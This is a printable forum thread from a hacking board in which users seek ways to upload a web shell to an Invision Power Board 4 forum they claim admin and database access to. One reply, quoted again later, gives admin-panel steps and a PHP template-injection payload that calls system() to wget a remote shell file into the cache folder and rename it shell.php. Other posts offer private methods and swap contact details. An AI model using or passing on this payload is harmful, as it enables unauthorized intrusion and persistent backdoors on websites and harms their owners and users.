Hack Forums
[URGENT] How do I upload a shell to IPB 4 Forums, MYSQL + Admin access? [URGENT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [URGENT] How do I upload a shell to IPB 4 Forums, MYSQL + Admin access? [URGENT] (/showthread.php?tid=5289960)



[URGENT] How do I upload a shell to IPB 4 Forums, MYSQL + Admin access? [URGENT] - Mr Kake - Jun 1, 2016

Hi there, I have MYSQL and Admin access to a IPB 4 forum and I was wondering how I could upload my shell? This is very critical so please help.


* - SlimJimTheHunter - Jun 1, 2016

(Jun 1, 2016 02:12 PM)Mr Destine Wrote:  Hi there, I have MYSQL and Admin access to a IPB 4 forum and I was wondering how I could upload my shell? This is very critical so please help.

By MYSQL access what do you mean? Access to their database or access to a DBMS like phpma? if so what privileges is the mysql daemon running on, can it read/write files?


* - mObiIe - Jun 1, 2016

Login admin panel > Look and Feel >Manage Languages, choose language > section
(example) public_help
edit:
help.txt
Choose topic from list, or search for a topic
In right box add this code:
PHP Code

<?php 
${${print $query='cd cache; wget http://link_to_shell/shell.txt;mv
shell.txt shell.php'
}}
${${
system($query,$out)}}
${${print 
$out}} 
When you add it, specify go on bottom.

Now we go on:
PHP Code

<?php 
http
://www.site.com/index.php?app=core&module=help 
And your code.. done, and you will get your shell @
PHP Code

<?php 
www
,site.com/cache/shell.php 



* - packetsfam - Jun 3, 2016

I would personally do what mObiIe said^


* - Mr Kake - Jun 4, 2016

(Jun 1, 2016 04:52 PM)mObiIe Wrote:  Login admin panel > Look and Feel >Manage Languages, choose language > section
(example) public_help
edit:
help.txt
Choose topic from list, or search for a topic
In right box add this code:
PHP Code

<?php 
${${print $query='cd cache; wget http://link_to_shell/shell.txt;mv
shell.txt shell.php'
}}
${${
system($query,$out)}}
${${print 
$out}} 
When you add it, specify go on bottom.

Now we go on:
PHP Code

<?php 
http
://www.site.com/index.php?app=core&module=help 
And your code.. done, and you will get your shell @
PHP Code

<?php 
www
,site.com/cache/shell.php 

(Jun 3, 2016 09:08 AM)packetsfam Wrote:  I would personally do what mObiIe said^

His method doesn't work that's why I'm not using it. I already PM'ed him about it.


* - Eraeus - Dec 30, 2016

Nobody know how to shell on IPB4 ? (IPS Community Suite)
His method, as said Mr Kake work only on IPB 3.4.x but not on 4.x

I know that we can edit templates (HTML/CSS) and we have a SQL ToolBox, but I don't found any way to upload a shell.

I have an IPB4 to test, so if someone want/can help me, it will be great ;o


* - -Elusive- - Dec 31, 2016

I have a method to shell IPS4 but it's private. I can do it for you if you want just pm me the details.
You can check my previous posts and rep for my trustworthiness.


* - lollmfaohaha - Jan 1, 2017

what is the purpoese of this shell


* - Eraeus - Jan 2, 2017

Hi -Elusive-, I can't MP anyone at the moment sorry

But if you can, please add me at Skype
Skype : supimsyne


* - Eraeus - Jan 4, 2017

Bump for this thread, no solution actualy...

Anyone else has already succeeded on this kind of forum?


* - egyy - Jan 4, 2017

Hey can you upload any sorts of files?? If so I have a method that just might work ;)